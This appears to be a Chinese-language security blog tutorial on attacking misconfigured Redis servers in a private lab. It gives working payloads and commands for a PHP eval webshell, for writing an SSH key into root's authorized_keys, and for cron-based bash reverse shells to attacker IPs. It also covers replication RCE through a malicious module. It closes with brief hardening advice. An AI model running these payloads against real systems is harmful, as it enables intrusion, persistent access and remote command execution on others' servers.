Redis
简介
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。 [1]
环境搭建
kali 192.168.232.114
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件redis.conof
# 备份redis配置
cp redis.conf redis.conf.bak
# 修改redis配置
redis.conf:
#bind 127.0.0.1 注释后表示任意机器都能登录
protected-mode = no 关闭安全配置
# 复制修改的配置到目标文件夹下
cp redis.conf ./src/redis.conf
# 启动redis服务
./src/redis-server redis.conf
添加环境变量
export PATH=/root/Desktop/redis-3.2.0/src:$PATH
查看6379端口是否已开放,如开放说明启动成功
netstat -ntlp
Ubuntu 192.168.232.232
Redis连接
Linux环境
交互式
redis-cli -h {host} -p {port}
命令式
redis-cli -h {host} -p {port} {command}
Windows环境
下载地址:https://github.com/ServiceStack/redis-windows
Redis基础用法
参考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html[3]
常见命令如下:
info //查看信息
flushall //删除所有数据库内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出
Redis 利用
Redis 未授权访问
Redis未授权主要因为配置不当导致未授权访问漏洞,攻击者可以进一步将恶意数据写入内存或磁盘当中,造成更大危害,同时Redis也可以将内存中的数据写入磁盘当中。主要原因如下:
1、配置登录策略导致任意机器都可以登录redis
2、未设置密码或设置弱口令
测试靶机是否存在redis未授权访问漏洞
./redis-cli -h 192.168.232.114
info
Redis写webshell
kali中安装apache2 参考:https://blog.csdn.net/weixin_39719127/article/details/111196844[4]
写入webshell
config set dir /var/www/html/ //切换目录到网站根目录
set x "\n\n\n<?php phpinfo();?>\n\n\n" //将恶意代码写入内存中
set xx "\n\n\n<?php eval($_POST['yiyayiya']);?>\n\n\n" //将恶意代码写入内存中
config set dbfilename shell.php //在磁盘中生成木马文件
save //将内存中的数据导出到磁盘文件
访问webshell
Redis写ssh密钥登录
开启ssh
在 kali 中开启 ssh 服务
/etc/init.d/ssh start
service ssh start
检查 ssh 是否已开启
netstat -ntlp
修改redis密码
# 登录redis
redis-cli -h 192.168.232.114
# 修改密码为yiyayiya
config set requirepass yiyayiya
redis-cli -h 192.168.232.114 -a yiyayiya
也可以登录后使用auth命令进行认证
写入ssh密钥
首先写入ssh密钥
ssh-keygen -t rsa
将key导出,添加\n\n
防止乱码出现
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
将生成的公钥写入 redis 当中并查看公钥是否已写入
cat key.txt | redis-cli -h 192.168.15.131 -a macmac -x set xxx
# 查看是否写入
keys *
设置导出路径为 root 的.ssh
目录下(本质是更改redis的备份路径)
config set dir /root/.ssh
注:假如/root/.ssh
不存在,这里会显示失败,不会返回OK,可以创建.ssh文件夹来解决该问题
设置文件名为authorized_keys
并导出
config set dbfilename authorized_keys
save
登录ssh
ssh -i id_rsa root@192.168.232.114
知识补充:
为什么在.ssh目录下写入authorized_keys
就能登录目标的ssh呢?
这是因为authorized_keys
主要作为授权文件,将任意主机的公钥添加至该文件中就可在任意主机下实现无密码连接。
利用计划任务反弹shell
首先再本地开启监听
nc -nvlp 5555
在交互式连接方式中写入反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.232.232/5555 0>&1\n" //其中*代表计划任务的时间
config set dir /var/spool/cron/ //设置导出路径
config set dbfilename root //设置导出文件名为root
save //保存
也可通过命令连接方式写入反弹shell
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.232.114/5555 0>&1\n\n"|./redis-cli -h 192.168.232.232 -x set 1
./redis-cli -h 192.168.232.232 config set dir /var/spool/cron/
./redis-cli -h 192.168.232.232 config set dbfilename root
./redis-cli -h 192.168.232.232 save
[–无图–]
注意任务计划反弹shell方法仅适用于Centos
Ubuntu 不能用的原因如下:
因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/
因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错
由于系统的不同,crontrab 定时文件位置也不同:
Centos 的定时任务文件在 /var/spool/cron/
Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/
主从复制RCE
由于未授权的 Redis 通过写文件来完成 getshell,而在执行过程中会产生一个问题:Redis 保存的数据是简单的json、csv 格式文件,因此写入的文件含有大量的无用数据。
在以上利用 crontab、ssh key、webshell 这三种方式具有一定的容错性,同时 crontab、ssh 服务是服务器的标准命令和服务,因此很多情况下这种通过写文件的方式 getshell 是通杀的。但随着现代服务部署方式的不断发展,组件化成了不可逃避的大趋势。docker就是在该时代背景下的产物之一,在这种部署模式下,一个单一的容器中不会有除了 redis 以外的任何服务存在,包括 ssh 和 crontab,再加上权限的严格控制,所以单纯依靠写文件就很难getshell,在这种情况下我们就需要其他的利用手段。
Redis 在 4.x、5.x 版本中提供了主从模式,主从模式指的是使用单个 redis 为主机,而将其他 redis 作为从机,主机和从机的数据都是一样的,主机只负责写,从机只负责读。在 Redis 4.x 版本后,通过外部扩展可以实现一个新的 Redis 命令来构造恶意 .so 文件,在两个 Redis 实例中设置主从模式的时候,主机可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意 .so 文件即可执行命令。简单的说就是攻击者(主机)写一个 .so 文件,通过 FULLRESYNC 同步文件到受害者(从机)上。
漏洞环境
https://vulhub.org/#/environments/redis/4-unacc/
利用方式
下载利用文件: https://github.com/vulhub/redis-rogue-getshell
编译生成 exp.so 文件
cd RedisModulesSDK/
make
使用脚本
python3 redis-master.py -h
# 查看用法
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 10086 -f RedisModulesSDK/exp.so -c "id"
手工利用
redis-cli -h 192.168.232.232
> ping
> config set dir ./ # 设置redis的备份路径为当前目录
> config set dbfilename exp.so # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.232.114 10086 # 设置主服务器IP和端口
> module load ./exp.so # 加载恶意模块
> slaveof no one # 切断主从,关闭复制功能
> system.exec 'whoami' # 执行系统命令
> config set dbfilename dump.rdb # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so' # 删除exp.so
> module unload system # 卸载system模块的加载
安全建议
- 单独为redis设置一个普通账号启动 redis
- 仅允许本地 localhost 不允许外部访问
- 保护模式开启 protected-mode 开启 (默认开启)
- 修改默认端口
- requirepass 设置redis密码
参考
[1] 百度百科
[2] FreeBuf.COM作者:特mac0x01《数据库攻防之Redis》(文字基本全抄,实验自己复现)
[4] CSDN作者:[weixin_39719127]《apache安装_kali Linux下的Apache的配置和安装》
其他优秀文章
windows上redis的利用《踩坑记录-Redis(Windows)的getshell》
评论区